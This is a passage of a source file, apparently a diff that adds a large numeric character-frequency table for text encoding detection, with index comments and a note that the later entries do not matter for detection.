+2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, // 3168 +4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, // 3184 +5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, // 3200 +3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, // 3216 +2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, // 3232 +3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, // 3248 +1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, // 3264 +2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, // 3280 +3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, // 3296 +4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, // 3312 +2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, // 3328 +2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, // 3344 +5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, // 3360 +1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, // 3376 +2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, // 3392 +1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, // 3408 +3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, // 3424 +4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, // 3440 +2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, // 3456 +3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, // 3472 +3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, // 3488 +2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, // 3504 +4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, // 3520 +2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, // 3536 +3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, // 3552 +4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, // 3568 +5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, // 3584 +3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, // 3600 + 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, // 3616 +1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, // 3632 +4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, // 3648 +1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, // 3664 +4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, // 3680 +5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, // 3696 + 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, // 3712 +5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, // 3728 +5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, // 3744 +2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, // 3760 +3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, // 3776 +2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, // 3792 +2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, // 3808 + 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, // 3824 +1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, // 3840 +4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, // 3856 +3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, // 3872 +3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, // 3888 + 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, // 3904 +2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, // 3920 + 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, // 3936 +2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, // 3952 +4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, // 3968 +1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, // 3984 +4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, // 4000 +1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, // 4016 +3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, // 4032 + 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, // 4048 +3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, // 4064 +5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, // 4080 +5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, // 4096 +3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, // 4112 +3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, // 4128 +1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, // 4144 +2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, // 4160 +5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, // 4176 +1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, // 4192 +1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, // 4208 +3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, // 4224 + 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, // 4240 +1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, // 4256 +4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, // 4272 +5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, // 4288 +2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, // 4304 +3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, // 4320 + 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, // 4336 +1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, // 4352 +2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, // 4368 +2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, // 4384 +5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, // 4400 +5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, // 4416 +5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, // 4432 +2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, // 4448 +2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, // 4464 +1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, // 4480 +4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, // 4496 +3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, // 4512 +3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, // 4528 +4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, // 4544 +4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, // 4560 +2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, // 4576 +2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, // 4592 +5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, // 4608 +4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, // 4624 +5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, // 4640 +4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, // 4656 + 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, // 4672 + 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, // 4688 +1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, // 4704 +3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, // 4720 +4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, // 4736 +1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, // 4752 +5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, // 4768 +2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, // 4784 +2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, // 4800 +3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, // 4816 +5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, // 4832 +1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, // 4848 +3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, // 4864 +5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, // 4880 +1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, // 4896 +5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, // 4912 +2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, // 4928 +3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, // 4944 +2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, // 4960 +3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, // 4976 +3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, // 4992 +3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, // 5008 +4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, // 5024 + 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, // 5040 +2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, // 5056 +4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, // 5072 +3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, // 5088 +5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, // 5104 +1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, // 5120 +5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, // 5136 + 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, // 5152 +1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, // 5168 + 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, // 5184 +4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, // 5200 +1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, // 5216 +4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, // 5232 +1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, // 5248 + 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, // 5264 +3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, // 5280 +4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, // 5296 +5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, // 5312 + 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, // 5328 +3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, // 5344 + 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, // 5360 +2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, // 5376 //last 512 + +/*************************************************************************************** + *Everything below is of no interest for detection purpose * + *************************************************************************************** + +2522,1613,4812,5799,3345,3945,2523,5800,4162,5801,1637,4163,2471,4813,3946,5802, // 5392 +2500,3034,3800,5803,5804,2195,4814,5805,2163,5806,5807,5808,5809,5810,5811,5812, // 5408 +5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828, // 5424 +5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844, // 5440 +5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856,5857,5858,5859,5860, // 5456 +5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876, // 5472 +5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888,5889,5890,5891,5892, // 5488 +5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908, // 5504 +5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920,5921,5922,5923,5924, // 5520 +5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940, // 5536 +5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952,5953,5954,5955,5956, // 5552 +5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970,5971,5972, // 5568 +5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988, // 5584 +5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004, // 5600 +6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020, // 5616 +6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032,6033,6034,6035,6036, // 5632 +6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052, // 5648 +6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068, // 5664 +6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084, // 5680 +6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100, // 5696 +6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116, // 5712 +6117,6118,6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,6132, // 5728 +6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148, // 5744 +6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,6164, // 5760 +6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180, // 5776 +6181,6182,6183,6184,6185,6186,6187,6188,6189,6190,6191,6192,6193,6194,6195,6196, // 5792 +6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,6211,6212, // 5808 +6213,6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,3670,6224,6225,6226,6227, // 5824 +6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,6242,6243, // 5840 +6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259, // 5856 +6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,6272,6273,6274,6275, // 5872 +6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,4815,6286,6287,6288,6289,6290, // 5888 +6291,6292,4816,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,6303,6304,6305, // 5904 +6306,6307,6308,6309,6310,6311,4817,4818,6312,6313,6314,6315,6316,6317,6318,4819, // 5920 +6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,6334, // 5936 +6335,6336,6337,4820,6338,6339,6340,6341,6342,6343,6344,6345,6346,6347,6348,6349, // 5952 +6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364,6365, // 5968 +6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381, // 5984 +6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,6396,6397, // 6000 +6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,3441,6411,6412, // 6016 +6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425,4440,6426,6427, // 6032 +6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443, // 6048 +6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,4821,6455,6456,6457,6458, // 6064 +6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474, // 6080 +6475,6476,6477,3947,3948,6478,6479,6480,6481,3272,4441,6482,6483,6484,6485,4442, // 6096 +6486,6487,6488,6489,6490,6491,6492,6493,6494,6495,6496,4822,6497,6498,6499,6500, // 6112 +6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516, // 6128 +6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532, // 6144 +6533,6534,6535,6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548, // 6160 +6549,6550,6551,6552,6553,6554,6555,6556,2784,6557,4823,6558,6559,6560,6561,6562, // 6176 +6563,6564,6565,6566,6567,6568,6569,3949,6570,6571,6572,4824,6573,6574,6575,6576, // 6192 +6577,6578,6579,6580,6581,6582,6583,4825,6584,6585,6586,3950,2785,6587,6588,6589, // 6208 +6590,6591,6592,6593,6594,6595,6596,6597,6598,6599,6600,6601,6602,6603,6604,6605, // 6224 +6606,6607,6608,6609,6610,6611,6612,4826,6613,6614,6615,4827,6616,6617,6618,6619, // 6240 +6620,6621,6622,6623,6624,6625,4164,6626,6627,6628,6629,6630,6631,6632,6633,6634, // 6256 +3547,6635,4828,6636,6637,6638,6639,6640,6641,6642,3951,2984,6643,6644,6645,6646, // 6272 +6647,6648,6649,4165,6650,4829,6651,6652,4830,6653,6654,6655,6656,6657,6658,6659, // 6288 +6660,6661,6662,4831,6663,6664,6665,6666,6667,6668,6669,6670,6671,4166,6672,4832, // 6304 +3952,6673,6674,6675,6676,4833,6677,6678,6679,4167,6680,6681,6682,3198,6683,6684, // 6320 +6685,6686,6687,6688,6689,6690,6691,6692,6693,6694,6695,6696,6697,4834,6698,6699, // 6336 +6700,6701,6702,6703,6704,6705,6706,6707,6708,6709,6710,6711,6712,6713,6714,6715, // 6352 +6716,6717,6718,6719,6720,6721,6722,6723,6724,6725,6726,6727,6728,6729,6730,6731, // 6368 +6732,6733,6734,4443,6735,6736,6737,6738,6739,6740,6741,6742,6743,6744,6745,4444, // 6384 +6746,6747,6748,6749,6750,6751,6752,6753,6754,6755,6756,6757,6758,6759,6760,6761, // 6400 +6762,6763,6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777, // 6416 +6778,6779,6780,6781,4168,6782,6783,3442,6784,6785,6786,6787,6788,6789,6790,6791, // 6432 +4169,6792,6793,6794,6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806, // 6448 +6807,6808,6809,6810,6811,4835,6812,6813,6814,4445,6815,6816,4446,6817,6818,6819, // 6464 +6820,6821,6822,6823,6824,6825,6826,6827,6828,6829,6830,6831,6832,6833,6834,6835, // 6480 +3548,6836,6837,6838,6839,6840,6841,6842,6843,6844,6845,6846,4836,6847,6848,6849, // 6496 +6850,6851,6852,6853,6854,3953,6855,6856,6857,6858,6859,6860,6861,6862,6863,6864, // 6512 +6865,6866,6867,6868,6869,6870,6871,6872,6873,6874,6875,6876,6877,3199,6878,6879, // 6528 +6880,6881,6882,4447,6883,6884,6885,6886,6887,6888,6889,6890,6891,6892,6893,6894, // 6544 +6895,6896,6897,6898,6899,6900,6901,6902,6903,6904,4170,6905,6906,6907,6908,6909, // 6560 +6910,6911,6912,6913,6914,6915,6916,6917,6918,6919,6920,6921,6922,6923,6924,6925, // 6576 +6926,6927,4837,6928,6929,6930,6931,6932,6933,6934,6935,6936,3346,6937,6938,4838, // 6592 +6939,6940,6941,4448,6942,6943,6944,6945,6946,4449,6947,6948,6949,6950,6951,6952, // 6608 +6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,6967,6968, // 6624 +6969,6970,6971,6972,6973,6974,6975,6976,6977,6978,6979,6980,6981,6982,6983,6984, // 6640 +6985,6986,6987,6988,6989,6990,6991,6992,6993,6994,3671,6995,6996,6997,6998,4839, // 6656 +6999,7000,7001,7002,3549,7003,7004,7005,7006,7007,7008,7009,7010,7011,7012,7013, // 6672 +7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,7028,7029, // 6688 +7030,4840,7031,7032,7033,7034,7035,7036,7037,7038,4841,7039,7040,7041,7042,7043, // 6704 +7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,7059, // 6720 +7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,2985,7071,7072,7073,7074, // 6736 +7075,7076,7077,7078,7079,7080,4842,7081,7082,7083,7084,7085,7086,7087,7088,7089, // 6752 +7090,7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105, // 6768 +7106,7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,4450,7119,7120, // 6784 +7121,7122,7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136, // 6800 +7137,7138,7139,7140,7141,7142,7143,4843,7144,7145,7146,7147,7148,7149,7150,7151, // 6816 +7152,7153,7154,7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167, // 6832 +7168,7169,7170,7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183, // 6848 +7184,7185,7186,7187,7188,4171,4172,7189,7190,7191,7192,7193,7194,7195,7196,7197, // 6864 +7198,7199,7200,7201,7202,7203,7204,7205,7206,7207,7208,7209,7210,7211,7212,7213, // 6880 +7214,7215,7216,7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229, // 6896 +7230,7231,7232,7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245, // 6912 +7246,7247,7248,7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261, // 6928 +7262,7263,7264,7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277, // 6944 +7278,7279,7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293, // 6960 +7294,7295,7296,4844,7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308, // 6976 +7309,7310,7311,7312,7313,7314,7315,7316,4451,7317,7318,7319,7320,7321,7322,7323, // 6992 +7324,7325,7326,7327,7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339, // 7008 +7340,7341,7342,7343,7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,4173,7354, // 7024 +7355,4845,7356,7357,7358,7359,7360,7361,7362,7363,7364,7365,7366,7367,7368,7369, // 7040 +7370,7371,7372,7373,7374,7375,7376,7377,7378,7379,7380,7381,7382,7383,7384,7385, // 7056 +7386,7387,7388,4846,7389,7390,7391,7392,7393,7394,7395,7396,7397,7398,7399,7400, // 7072 +7401,7402,7403,7404,7405,3672,7406,7407,7408,7409,7410,7411,7412,7413,7414,7415, // 7088 +7416,7417,7418,7419,7420,7421,7422,7423,7424,7425,7426,7427,7428,7429,7430,7431, // 7104 +7432,7433,7434,7435,7436,7437,7438,7439,7440,7441,7442,7443,7444,7445,7446,7447, // 7120 +7448,7449,7450,7451,7452,7453,4452,7454,3200,7455,7456,7457,7458,7459,7460,7461, // 7136 +7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,7472,7473,7474,4847,7475,7476, // 7152 +7477,3133,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,7488,7489,7490,7491, // 7168 +7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,3347,7503,7504,7505,7506, // 7184 +7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,7520,7521,4848, // 7200 +7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,7536,7537, // 7216 +7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,3801,4849,7550,7551, // 7232 +7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, // 7248 +7568,7569,3035,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582, // 7264 +7583,7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598, // 7280 +7599,7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614, // 7296 +7615,7616,4850,7617,7618,3802,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628, // 7312 +7629,7630,7631,7632,4851,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643, // 7328 +7644,7645,7646,7647,7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659, // 7344 +7660,7661,7662,7663,7664,7665,7666,7667,7668,7669,7670,4453,7671,7672,7673,7674, // 7360 +7675,7676,7677,7678,7679,7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690, // 7376 +7691,7692,7693,7694,7695,7696,7697,3443,7698,7699,7700,7701,7702,4454,7703,7704, // 7392 +7705,7706,7707,7708,7709,7710,7711,7712,7713,2472,7714,7715,7716,7717,7718,7719, // 7408 +7720,7721,7722,7723,7724,7725,7726,7727,7728,7729,7730,7731,3954,7732,7733,7734, // 7424 +7735,7736,7737,7738,7739,7740,7741,7742,7743,7744,7745,7746,7747,7748,7749,7750, // 7440 +3134,7751,7752,4852,7753,7754,7755,4853,7756,7757,7758,7759,7760,4174,7761,7762, // 7456 +7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,7777,7778, // 7472 +7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,7792,7793,7794, // 7488 +7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,4854,7806,7807,7808,7809, // 7504 +7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824,7825, // 7520 +4855,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, // 7536 +7841,7842,7843,7844,7845,7846,7847,3955,7848,7849,7850,7851,7852,7853,7854,7855, // 7552 +7856,7857,7858,7859,7860,3444,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870, // 7568 +7871,7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886, 